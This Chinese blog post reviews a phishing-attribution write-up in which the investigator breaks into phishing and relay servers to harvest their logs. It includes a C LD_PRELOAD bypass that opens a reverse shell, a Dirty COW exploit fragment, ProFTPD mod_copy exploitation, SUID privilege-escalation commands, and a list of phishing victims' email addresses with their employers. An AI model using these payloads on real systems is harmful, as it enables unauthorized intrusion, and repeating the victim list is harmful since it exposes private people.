有关“邮件钓鱼攻击与溯源”一文的阅读回溯

0X00 前言

闲来无事翻翻 freebuf ,然后发现了这篇文章,看了一下内容可以说是相当震撼,机会将所有的步骤全部还原,百年难遇的好文章,虽然很长,但还是不能放过这个学习的机会,于是赶紧写下读后的一些收获和感悟。

0X01根据钓鱼邮件内容进行信息挖掘

原文从信头中挖掘到的信息如下:

钓鱼网站 
www.rosturplast.com137.74.81.5 法国 
钓鱼链接: 
http://www.rosturplast.com/shells/logon.secureaccess/?ml=test@test.cn 
发件地址 
no-response@365.mirohaviar.sk 
服务商 
Platon Technologies, s.r.o 斯洛伐克 
SMTP 
sysmailout1.platon.sk 85.248.228.17 斯洛伐克

这里其实应该注意到的是我们对邮件的信息收集不能仅仅局限于邮件表面看到的东西,我们需要查看信头,如果觉得看起来不舒服,还可选择导出邮件,这时候就会生成一个 .eml 文件。

此处输入图片的描述

这样我们就能看到一个邮件的全貌(邮件本身是由信头和邮件体组成的,我们一般看到的都是邮件体而忽略了邮件头部的重要信息,邮件头和邮件体是由一个空行分隔的)

邮件头信息解释

(1)Received

路由信息,记录了邮件传递过程。

特点:

整个邮件原文中,只有Received段是不由发件方编辑的,是由接收方加载的
由所经过的路由在信头最顶部添加
每经过一个处理,必须在最上层添加一个Received,且不得改变其他Received的顺序
这里面的 from ,by 分别表示接受和发送的邮件服务器,for 是最终的收件人地址

此处输入图片的描述

(2)Data:表示邮件建立的时间,既不是发送时间也不是接收时间,是邮件发送方创建邮件的时间。

(3)From:表示一个或多个邮件的作者,显示在正文的发件人。由发件方编辑,例如发垃圾的就会将此字段编辑成不存在的地址;发诈骗邮件的就会将此字段编辑成被冒充的邮件地址。

(4)To:表示邮件的接收地址。

(5)CC:表示抄送的邮件地址。

(6)BCC:表示密送的邮件地址。

(7)Subject:表示邮件的主题。

(8)Sender:表示邮件的实际投递者(只能是一个),一般由收件方添加,邮件服务商在收到邮件后会将邮件会话里面的实际投递者与信头From字段标识的发件这进行比较,如不一致则在信头下方加入Sender字段标识邮件实际投递者,但这个字段也可由发件方决定的(from 和 sender 不一致的情况下部分邮件服务商会有代发标识)。

(9)Reply-to:表示回复地址,由发件方编辑,希望收件人回复邮件时回复到指定的地址。一般情况下,如不额外添加Reply-to字段,收件人回复邮件时,将回复到原邮件From字段标识的地址。

(10)MIME-Version:表示MIME的版本。

(11)Content-Type:标识了邮件内容的格式。

(12)Return-path:标识指定的退信地址,一般情况下,不添加Return-path字段,退信默认退到Sender标识的地址。当Sender和From一致时,退信默认退到From标识的地址。

0X02 找到用来钓鱼的网站进行漏洞挖掘

(1)利用漏洞得到 shell

根据钓鱼链接找到攻击者用来放置钓鱼页面的网站,试图寻找攻击者利用的漏洞,这一步也需要大量的信息收集,原文作者收集到的信息如下:

[+] PORT: 使用 nmap -sS ip 进行扫描
[+] HOST: www.rosturplast.com 137.74.81.5 法国
[+] OS: Red Hat 4.8
[+] Web Server: Apache/2.4.6 OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
[+] CMS: Joomla 3.3.3 Joomla!是一套海外流行的建站系统基于PHP+MySQL开发

我对此也进行了相关的检测,但是发现可能由于管理员发现被入侵的原因,原网站已经不再是使用 joomla 而是使用了 wordpress(当然也是一个低版本的 wordpress4.4.3,真不知道管理是怎么想的….)

[+]Web Server: nginx/1.14.1,PHP 5.4.45,MySQL5.5.5-10.0.37-MariaDB
[+]CMS: wordpress4.9.9

我选择尝试使用 WPScan 对其进行一些测试,看看最新的 wp 是不是依然会有攻击的可能

[+] WordPress theme in use: astra
 | Location: http://rosturplast.com/wp-content/themes/astra/
 | Last Updated: 2019-01-29T00:00:00.000Z
 | Readme: http://rosturplast.com/wp-content/themes/astra/readme.txt
 | Changelog: http://rosturplast.com/wp-content/themes/astra/changelog.txt
 | [!] The version is out of date, the latest version is 1.6.8
 | Style URL: http://rosturplast.com/wp-content/themes/astra/style.css
 | Style Name: Astra
 | Style URI: https://wpastra.com/
 | Description: Astra is fast, fully customizable & beautiful theme suitable for blog, personal portfolio, business ...
 | Author: Brainstorm Force
 | Author URI: https://wpastra.com/about/
 |
 | Detected By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.5.5 (80% confidence)
 | Detected By: Style (Passive Detection)
 |  - http://rosturplast.com/wp-content/themes/astra/style.css, Match: 'Version: 1.5.5'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] astra-addon
 | Location: http://rosturplast.com/wp-content/plugins/astra-addon/
 |
 | Detected By: Urls In Homepage (Passive Detection)
 |
 | The version could not be determined.

[+] contact-form-7
 | Location: http://rosturplast.com/wp-content/plugins/contact-form-7/
 | Last Updated: 2018-12-18T18:05:00.000Z
 | [!] The version is out of date, the latest version is 5.1.1
 |
 | Detected By: Urls In Homepage (Passive Detection)
 |
 | Version: 5.0.5 (100% confidence)
 | Detected By: Query Parameter (Passive Detection)
 |  - http://rosturplast.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.5
 |  - http://rosturplast.com/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.5
 | Confirmed By:
 |  Readme - Stable Tag (Aggressive Detection)
 |   - http://rosturplast.com/wp-content/plugins/contact-form-7/readme.txt
 |  Readme - ChangeLog Section (Aggressive Detection)
 |   - http://rosturplast.com/wp-content/plugins/contact-form-7/readme.txt

[+] elementor
 | Location: http://rosturplast.com/wp-content/plugins/elementor/
 | Last Updated: 2019-02-11T14:45:00.000Z
 | [!] The version is out of date, the latest version is 2.4.6
 |
 | Detected By: Urls In Homepage (Passive Detection)
 |
 | Version: 2.3.4 (100% confidence)
 | Detected By: Query Parameter (Passive Detection)
 |  - http://rosturplast.com/wp-content/plugins/elementor/assets/css/frontend.min.css?ver=2.3.4
 |  - http://rosturplast.com/wp-content/plugins/elementor/assets/js/frontend.min.js?ver=2.3.4
 | Confirmed By: Readme - Stable Tag (Aggressive Detection)
 |  - http://rosturplast.com/wp-content/plugins/elementor/readme.txt

[+] elementor-pro
 | Location: http://rosturplast.com/wp-content/plugins/elementor-pro/
 |
 | Detected By: Urls In Homepage (Passive Detection)
 |
 | The version could not be determined.

[+] essential-addons-for-elementor-lite
 | Location: http://rosturplast.com/wp-content/plugins/essential-addons-for-elementor-lite/
 | Last Updated: 2019-02-07T08:59:00.000Z
 | [!] The version is out of date, the latest version is 2.9.5
 |
 | Detected By: Urls In Homepage (Passive Detection)
 |
 | Version: 2.8.4 (100% confidence)
 | Detected By: Readme - Stable Tag (Aggressive Detection)
 |  - http://rosturplast.com/wp-content/plugins/essential-addons-for-elementor-lite/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://rosturplast.com/wp-content/plugins/essential-addons-for-elementor-lite/readme.txt

[+] header-footer-elementor
 | Location: http://rosturplast.com/wp-content/plugins/header-footer-elementor/
 | Last Updated: 2019-02-15T12:35:00.000Z
 | [!] The version is out of date, the latest version is 1.1.2
 |
 | Detected By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.0.16 (100% confidence)
 | Detected By: Readme - Stable Tag (Aggressive Detection)
 |  - http://rosturplast.com/wp-content/plugins/header-footer-elementor/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://rosturplast.com/wp-content/plugins/header-footer-elementor/readme.txt

[+] woocommerce
 | Location: http://rosturplast.com/wp-content/plugins/woocommerce/
 | Last Updated: 2019-01-21T18:32:00.000Z
 | [!] The version is out of date, the latest version is 3.5.4
 |
 | Detected By: Urls In Homepage (Passive Detection)
 | Confirmed By: Meta Generator (Passive Detection)
 |
 | Version: 3.5.2 (100% confidence)
 | Detected By: Query Parameter (Passive Detection)
 |  - http://rosturplast.com/wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=3.5.2
 |  - http://rosturplast.com/wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.min.js?ver=3.5.2
 |  - http://rosturplast.com/wp-content/plugins/woocommerce/assets/js/frontend/cart-fragments.min.js?ver=3.5.2
 | Confirmed By:
 |  Meta Generator (Passive Detection)
 |   - http://rosturplast.com/, Match: 'WooCommerce 3.5.2'
 |  Translation File (Aggressive Detection)
 |   - http://rosturplast.com/wp-content/plugins/woocommerce/i18n/languages/woocommerce.pot, Match: '"Project-Id-Version: WooCommerce 3.5.2'

[+] wpforms-lite
 | Location: http://rosturplast.com/wp-content/plugins/wpforms-lite/
 | Last Updated: 2019-02-06T17:39:00.000Z
 | [!] The version is out of date, the latest version is 1.5.1
 |
 | Detected By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.4.9 (100% confidence)
 | Detected By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://rosturplast.com/wp-content/plugins/wpforms-lite/readme.txt
 | Confirmed By: Translation File (Aggressive Detection)
 |  - http://rosturplast.com/wp-content/plugins/wpforms-lite/languages/wpforms.pot, Match: '"Project-Id-Version: WPForms 1.4.9'

可以发现这个网站虽然 wp 是最新版本,但是插件的版本都比较旧,还是存在攻击的可能

并且我在目录扫描的时候还发现了phpmyadmin 后台

此处输入图片的描述

当然,原作者在joomscan 测试无果的情况下考虑目录扫描和爆破备份文件的方法是值得我们去学习的,并且确实通过这种方式找到了备份文件并进入了phpmyadmin后台,由于不能写 shell,转而进入了 joomla 后台

进入 joomla 后台后思路还是要利用后台的功能写 shell ,原作者这里使用的是写模板文件的方法。

(2)查看日志及shell获取攻击者ip信息

拿到 shell 以后首先的思路就是将攻击者的信息拿到,那么哪里有这些信息呢?一般在日志、shell和获取的钓鱼信息文件(这个文件是攻击者需要访问的,因为我们的目的就是溯源,故我们需要知道谁一直在访问这个文件获取信息,那么这个人大概率就是攻击者)里面有,于是将整个网站和日志打包以后放在 web 目录 使用 wget 下载到本地

原作者使用 D 盾进行整站的 shell 检测,这样就不会遗漏,还是值得学习的

确认了攻击者使用的 shell 以后就能通过日志查看哪些 ip 对其有所访问,这里使用命令 awk (作者对awk 的使用可以说是非常娴熟,自己还要多多磨炼)

root@kali /tmp/rosturplast.com/log grep "/shells/" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt
26 174.85.145.99
20 50.73.252.169
10 213.233.104.120
2 207.228.149.69
2 195.211.23.207
2 129.205.113.8

然后又利用了一个 ip 地址查询接口获取了 ip 对应的国家

root@kali /tmp/rosturplast.com/log for line in $(<ip.txt); do curl https://ip.cn/\?ip\=$line ; done
IP: 174.85.145.99 来自: 美国
IP: 50.73.252.169 来自: 美国
IP: 213.233.104.120 来自: 罗马尼亚
IP: 207.228.149.69 来自: 百慕大
IP: 195.211.23.207 来自: 俄罗斯
IP: 129.205.113.8 来自: 尼日利亚

根据后门文件名匹配Apache访问日志得到攻击者的代理IP和User Agent

root@kali /tmp grep "/shells" *| grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq
129.205.113.8 - - [30/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
174.85.145.99 - - [27/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
207.228.149.69 - - [28/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
213.233.104.120 - - [27/Nov/2018//www.rosturplast.com/shells//bacu.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv
50.73.252.169 - - [29/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"

(3)通过日志匹配邮箱并去重得到受害者邮箱地址

整个溯源过程还不能忘记受害者群体的分析,这将是窥探攻击者主要目的的关键所在,原作者在这方面做得也非常好,根据匹配到的邮箱对受害者的身份进行了确认。

root@kali /tmp egrep '[0-Z_]{1,}@[0-Z]{1,}(\.[0-Z]{1,})+' * | awk -F "\"" '{print $2}' |awk -F "HTTP" '{print $1}' |awk -F "ml=" '{print $2}' |sort |uniq
alexsin54@yahoo.com //攻击者邮箱
clavenda.payman@lbdi.net //利比亚发展投行CFO
dennis@rayfields.co.za //域名失效
georges.raad@nera.net //新加坡IT基础设施提供商员工
gthakkar@sscinc.com //美国SS&C Technologies, Inc. 印度分公司
jasonchowan223@gmail.com //攻击者邮箱
******@******.com //同事
jiajie.lim@cimb.com //马来西亚联昌国际银行员工
kohchinbeng@bdo.com.sg //新加坡立信会计师事务所员工
mayfaithlee@hotmail.com //未知
philip@beekoo.hk //深圳市很有蜂格网络科技有限公司CEO
Point72.IR@sscinc.com //美国SS&C Technologies, Inc.
shunweicapital@sscinc.com //美国SS&C Technologies, Inc.疑似顺为资本
url@email.com //无效

0X03 转战邮件发送地址进行漏洞挖掘

我们知道,攻击者为了隐藏自身,同样会使用肉鸡来进行邮件的发送,因此想要确定攻击者的身份,渗透邮件发送的肉鸡是绝对不能少的步骤

(1)猜测 shell 名进行渗透

和之前一样,还是一套信息收集

[+] HOST: mirohaviar.sk 85.248.229.150 斯洛伐克 
[+] OS: Debian 7 
[+] Web Server:Apache/2.2.22 PHP/5.2.6-1+lenny16 
[+] CMS: Joomla 1.5 

由于该站已经被删除,我无法再做进一步的检测,只能跟着作者的思路进行分析,原作者在发下现网站的能利用的漏洞被攻击者修复了以后,没有着急着去使用旁站进行攻击而是根据对攻击者行为的揣测,根据两个cms 都是较低版本的 joomala 推断出攻击者应该是批量入侵,于是想到木马应该有着相同或者类似的文件名,于是便在这台服务器上也成功发现了攻击者留下的的后门(这在某种意义上讲也是一种社会工程学的思路)

这时候其实只要得到 shell 的密码就能掌控这台服务器,原作者一开始使用的是解密的方式获取明文密码,但是后来发现密码竟是 简单的 root 这也提醒我们可以先做一些简单的爆破尝试,不成功再尝试解密,或许能更快地得到权限

(2)突破限制反弹shell

和之前一样,我们的目的是溯源追踪攻击者,试图获取攻击者的信息,也就是我们还是需要拿到网站的日志,但是我们的 webshell 目前没有这个权限,不仅受到了 disable_function 的限制还受到了 open_basedir 的约束,因此现在的情况就是无法跨目录访问也无法执行命令

disable_functions escapeshellarg,escapeshellcmd,exec,passthru,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,system,popen,pcntl_exec

open_basedir /storage/www/mirohaviar.sk/:/storage/www-include/:/usr/share/php5/:/usr/share/file/:/usr/share/pear/:/tmp/

因此我们需要将网站上的 shell 反弹到我们的 vps 上来突破我们的限制。我简单的看了一下 disable_functions 发现并不是很严格,突破的方法其实有很多,原作者使用的是 LD_PRELOAD 的方式,这个方式可以说是一种比较复杂的方式了,我也没怎么用过,正好用这个实例再学习巩固一下,关于 LD_PRELOAD 的具体一点的分析可以看我的这篇文章

可以通过命令查看 sendmail 函数执行过程中调用了那些库函数

www-data@m7web1:/tmp$ readelf -Ws /usr/sbin/sendmail
Symbol table '.dynsym' contains 420 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __printf_chk@GLIBC_2.3.4 (2)
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getegid@GLIBC_2.2.5 (3)
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND dane_raw_tlsa@DANE_0_0 (4)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_ocsp_resp_print@GNUTLS_3_4 (5)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_x509_crt_get_serial@GNUTLS_3_4 (5)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __errno_location@GLIBC_2.2.5 (3)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_db_set_cache_expiration@GNUTLS_3_4 (5)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sendto@GLIBC_2.2.5 (3)
......
76: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getuid@GLIBC_2.2.5 (3)
77: 0000000000000000 0 FUNC GLOBAL DEFAULT UND send@GLIBC_2.2.5 (3)

从中选取geteuid函数进行测试编写动态链接程序bypass.c

#include<stdlib.h>
#include <stdio.h>
#include<string.h>
void payload() {
system("bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/999 0>&1");
}
int geteuid() {
if(getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

当这个共享库中的geteuid被调用时尝试加载payload()函数执行命令调用system执行一个反弹shell的操作xxx.xxx.xxx.xxx即是我的公网服务器IP

编译

gcc -c -fPIC bypass.c -o bypass
gcc -shared bypass.c -o bypass.so

上传

www-data@m7web1:/tmp$ cat b64.txt|base64 -d >bypass.so
www-data@m7web1:/tmp$ file bypass.so
file bypass.so
bypass.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV)

执行

bypass.php

<?php
putenv("LD_PRELOAD=/tmp/bypass.so");
mail("test@localhost","","","","");
?>

浏览器访问http://www.mirohaviar.sk/bypass.php页面后成功执行命令得到了一个www-data权限的反弹shell

(3)新的线索新的世界

根据原作者描述,在拿到反弹的 shell 以后还是没有权限去访问 apache 的日志,但是作者却在 tmp 目录下发现了一个遗留的有趣的日志文件,里面记录着一个 ip 地址,根据这个 ip 地址,原作者通过GoogleHacking 的手法 inurl:bc.php?filesrc= 发现了攻击者已经删除的一些后门文件快照,里面得到了攻击者所在的组织的信息(顺路安利一下我原来整理的一些 GoogleHacking 的技巧 传送门)

此处输入图片的描述

我们也能看到底部的署名 $ Muslim Cyber Corp - Mujahidin Cyber Army - Family Attack Cyber

此处输入图片的描述

里面的成员大致有这些吧(这个图蛮漂亮的~小声bb)

此处输入图片的描述

原作者对攻击者曾经入侵过的网站依然采用的是直接使用已知 shell config.php 利用 root 密码登录以后获取 web 日志和目录并打包到 www 目录下直接下载的方式进行信息收集。

此处输入图片的描述

0X04 傀儡机突破

(1)低版本PROFTPD 未授权文件复制getshell

上面已经发现了攻击者常用的用来进行攻击的服务器 ip ,那我们自然不能放过这台服务器,开始新一轮的渗透。

[+] HOST: 187.85.134.4巴西 
[+] OS: Ubuntu 
[+] Web Server: Apache/2.2.22 / PHP/5.3.10-1ubuntu3.19 
[+] CMS: 未知

nmap 使用绕过防火墙的参数,这里其实对我来说要学习的是增加对 nmap 各种参数的灵活使用程度

nmap --script=firewalk --traceroute 187.85.134.4

然后原作者后面的漏洞利用也是让我大开眼界,在端口扫描以后发现 21 端口开放

Starting Nmap 7.60 ( https://nmap.org ) at 2019-02-17 07:49 UTC
Nmap scan report for 187.85.134.4
Host is up (0.14s latency).
Not shown: 996 filtered ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

直接想到使用 nc 链接 21 端口判断 ftp 的版本,找到一个 proftpd 的低版本未授权复制漏洞

root@K0rz3n:~# nc 187.85.134.4 21
220 ProFTPD 1.3.4a Server (Debian) [::ffff:187.85.134.4]

我肯定是没有这种思路的,我充其量的想法就是直接利用原始的大马反弹一个 shell 回来,不过这里也给我一些启示,渗透过程中要多多关注服务器使用的各种服务版本,任何低版本服务的漏洞都是整个服务器的突破口。

端口扫描发现目标 FTP Server为ProFTPd 1.3.4a这个版本和1.3.5存在未授权文件复制漏洞我们可以通过这个漏洞往Web目录写入一个WebShell。

ProFTPd 1.3.5 Remote Command ExecutionCVE-2015-3306
ProFTPD中使用的mod_copy模块存在未授权访问风险导致ProFTPD自带的命令 SITE CPFR 和 SITE CPTO可在未登录ftp的情况被外部黑客所利用对系统文件进行任意复制。

还有一点值得学习的就是原作者在寻找 exp 的时候使用了 kail 自带的 searchspolit 这个工具,我原来也没怎么注意到国,查了一下发现是和 exp-db 结合的离线 exp 库,很好用,这有一篇文章可以参考一下 传送门还有就是强烈建议大家在自己的 vps 上安装好 kali 或者是一些常用工具如:msf ,这将是我们能正常渗透的保障。

(2)拿到服务器全面围剿

在拿到了攻击者常用的傀儡服务器以后,原作者发现了大量的钓鱼脚本、挖矿后门和 DDOS 脚本,这些对于我们分析攻击者的行为是非常重要的,这也可以看出攻击者在这方面是比较专业的和系统的。

僵尸网络程序

此处输入图片的描述

DDOS 脚本

此处输入图片的描述

钓鱼邮件模板

此处输入图片的描述

万条邮箱信息

此处输入图片的描述

(3)杀器提权一击致命

1.为什么要提权

为什么要提权,因为我们的目的还是想获取 apache 的日志,目前我们的 shell 是没有访问 apache 日志的权限的

此处输入图片的描述

就算是我们可以打包整个网站,我们最终获取的还是我们有权限打包的目录,其他的一概不能打包成功

那么,我们在默认权限下能打包到哪些文件呢?可能有些同学还不是很清楚,对 shell 权限的还是有误解,我其实之前也写过一个关于 shell 权限的探究问题,有兴趣得同学可以在我博客往前翻翻,这里我就再简单说一下:

每个文件都有针对三个所属组的权限分配,我么的 php 的 shell 是 www-data 权限,这个用户是属于 其他用户组的,也就是说在使用 ls -la 插卡权限的时候看最后的三个字母的,我们在最后的三个字母里面主要有读权限(也就是最少有一个 r ),我们的 shell 才能将这个文件下载,如图所示:

此处输入图片的描述

在上面这幅图中,我们能下载的文件只有

alternatives.log
alternatives.log.1
alternatives.log.2.gz
apt                  ------------->这是个目录,还要看目录里面的文件的权限
bot.log

2.常见的 linux 提权方式

Linux 提权有很多方式,常见的检测步骤如下

1.检测操作系统的发行版本

2.查看内核版本

3.检测当前用户权限

4.列举Suid文件

5.查看已经安装的包,程序,运行的服务,过期版本的有可能有漏洞

这里面其实涉及到几种 Linux 的提权思路,

(1)内核 exp 提权

最简单直接的就是使用内核 exp 进行提权的方式,但是使用这种方式提权会有使目标系统崩溃的风险,

(2)suid提权

SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。我们要在系统中找到有suid位的程序,寻找方法如下:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; 

已知的可以使用 suid 进行特权提升的程序有:

Ø Nmap

Ø Vim

Ø find

Ø Bash

Ø More

Ø Less

Ø Nano

Ø cp

此处输入图片的描述

上面的所有二进制文件都可以在root权限下运行,因为他们的owner是root,并且他们的权限中含有s。s权限使一般使用者临时具有该文件所属主/组的执行权限。

但是由于这里的程序似乎没有能利用的,于是这一条路在这里就走不通了,如果想看具体的演示案例,可以看这篇文章

(3)劫持环境变量提权

这个思路大概就是,如果存在一个程序运行过程中会调用一个系统程序,那么我们可以把程序当前目录加入到系统的环境变量中,并且在程序目录中伪造那个系统程序为执行 /bin/sh,那么当再次运行那个程序的时候就能调用我们自己 构造的假的系统程序从而提权,具体的操作可以看 这篇文章

分析了一圈,发现这台服务器还是要用第一种简单直接的方式提权,本机的操作系统发行版本以及内核信息如下(i386 说明是32位系统,如果是 x86_64 是64位系统)

此处输入图片的描述

当然查看系统发行版本除了使用上图的方式以外还可以使用 lsb_release -a

此处输入图片的描述

原作者这里使用的是脏牛(CVE-2016-5195脏牛 理论上通杀 2.6.22 < 3.9 (x86/x64)的内核版本。)进行提权,并且原文中提到了一点,作者是先在本地环境中进行了测试的,因为我们之前也说过,内核提权稍有不慎就会引起服务器崩溃,所以说原作者这样做是很值得我们学习的

使用dirtycow-mem.c提权时需要注意i386架构下编译前需要将源代码中libc路径修改为目标系统libc路径否则执行时找不到文件,exp 来源于 github

#define SHELLCODE "\x31\xc0\xc3"
#define SPACE_SIZE 256
#define LIBC_PATH "/lib/x86_64-linux-gnu/libc.so.6" ## 改为 /lib/i386-linux-gnu/libc.so.6
#define LOOP 0x1000000
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
...

因为我发现目标系统没有安装 gcc ,所以我必须启动一个 i386 的ubuntu docker 进行编译(如果在 64为机器上编译,exp 将无法在 i386 目标机器上运行),然后将编译好的 exp 进行上传

编译

root@a6fb4b362251:/tmp# gcc -Wall -o hello dirtycow-mem.c -ldl -lpthread

运行

此处输入图片的描述

现在就能顺理成章地访问我们亲爱的 apache2 文件夹了

此处输入图片的描述

这样我们就能分析到 apache 日志了

(4)日志分析揭开面纱

分析IP访问情况

root@kali /tmp/ grep "/cacat/" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt
95 185.56.80.138
77 197.211.60.52
70 67.71.3.8
59 207.35.210.35
41 99.226.207.46
41 193.215.40.238
39 197.211.59.163
38 82.61.95.132
38 66.249.73.95
37 76.26.34.181
37 197.234.221.77
31 105.112.27.60
29 105.112.23.41
20 109.166.138.68
16 66.249.79.61
16 197.211.61.18
14 212.100.77.191
12 197.234.221.210
8 66.249.79.35
8 66.249.73.64
7 154.118.69.165
5 66.249.73.67
......

root@kali /tmp for line in $(<ip.txt); do curl https://ip.cn/\?ip\=$line ; done
IP: 185.56.80.138 来自: 荷兰
IP: 197.211.60.52 来自: 尼日利亚
IP: 67.71.3.8 来自: 加拿大
IP: 207.35.210.35 来自: 加拿大
IP: 99.226.207.46 来自: 加拿大
IP: 193.215.40.238 来自: 挪威
IP: 197.211.59.163 来自: 尼日利亚
IP: 82.61.95.132 来自: 意大利
IP: 66.249.73.95 来自: Google 骨干网
IP: 76.26.34.181 来自: 美国
IP: 197.234.221.77 来自: 贝宁
IP: 105.112.27.60 来自: 尼日利亚
IP: 105.112.23.41 来自: 尼日利亚
IP: 109.166.138.68 来自: 罗马尼亚
IP: 66.249.79.61 来自: Google 骨干网
IP: 197.211.61.18 来自: 尼日利亚
IP: 212.100.77.191 来自: 尼日利亚
IP: 197.234.221.210 来自: 贝宁
IP: 66.249.79.35 来自: Google 骨干网
IP: 66.249.73.64 来自: Google 骨干网
IP: 154.118.69.165 来自: 尼日利亚
IP: 66.249.73.67 来自: Google 骨干网
......

根据路径名判断疑似受害者访问了钓鱼页面。

root@kali /tmp/ grep "/cacat" *| grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq
109.166.138.68 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
109.166.138.68 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php?sfm_sid=120" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
185.56.80.138 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php?sfm_sid=8425" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"
196.52.34.20 - - [12/Oct/201835.0) Gecko/20100101 Firefox/35.0"
207.35.210.35 - - [21/Aug/2018//187.85.134.4/cacat/win2018/winbnk/EBlogin.html?sitecode=GR&lang=el-GR" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36"
197.211.60.52 - - [07/Sep/2018:16:02:40 -0300] "GET /cacat/nnnnn.zip HTTP/1.1" 200 4489167 "http://187.85.134.4/cacat/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"

查看web目录下txt文件访问情况总共有一万多IP。访问地址包含受害者主机IP、各种搜索引擎爬虫IP、各路黑客的IP等等。

grep "/cacat/" * |grep "txt" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt

root@kali ~/Desktop wc -l ip.txt
10101 ip.txt

0X05 热力图分析

将获得的IP转换成经纬度坐标再通过百度地图API生成热力图

将IP转换成经纬度坐标脚本ip2xy.py 
生成经纬度坐标文件point.js 
全球IP库GeoLiteCity.dat

这个我也是没想到的一步,通过热力图能将我们之前收集到的 ip 地址在全球的分布很直观的表现出来,可以说原作者在这方面的经验还是十分的丰富

0X06 信息汇总

根据所得信息汇总对这个黑客组织信息进行简单分析仅供参考。

(1)组织信息

名称

Muslim Cyber Corp – Mujahidin Cyber Army – Family Attack Cyber

地区

巴勒斯坦

成员ID

Hawk_B404 、 MR.S1NS_Y 、 koneksi eror 、 GU3LT03M 、 SinonX 、 
./B4Z1R007 、 ./Bl4ckJ4ck 、 anon99husein 、 4GottenName 、Gantai 、 4nzeL4 
、 AKEMI403

历史邮箱

alexsin54@yahoo.com 
jasonchowan223@gmail.com 
macacperus@yopmail.com 
bidibidibidi@yopmail.com 
bidi.pici11@hotmail.com 
bidi.cuc@mail.com 
flrnvasilica@gmail.com

组织主页

http://mujahidincyberarmy.blogspot.com/ 
https://www.facebook.com/FamilyAttackCyberOfficial/

(2)攻击手段

入侵使用Wordpress、Joomla! CMS的网站、放置钓鱼程序批量传播钓鱼邮件。

攻击目标

早期政治目的居多主要攻击美国政府机构网站和雇员。近期多为商业目的主要针对欧洲银行客户以及亚洲金融机构雇员进行邮件钓鱼。

控制主机

187.85.134.4

常用后门

(3)攻击历史

美国联邦调查局、美国国土安全部、美国司法部

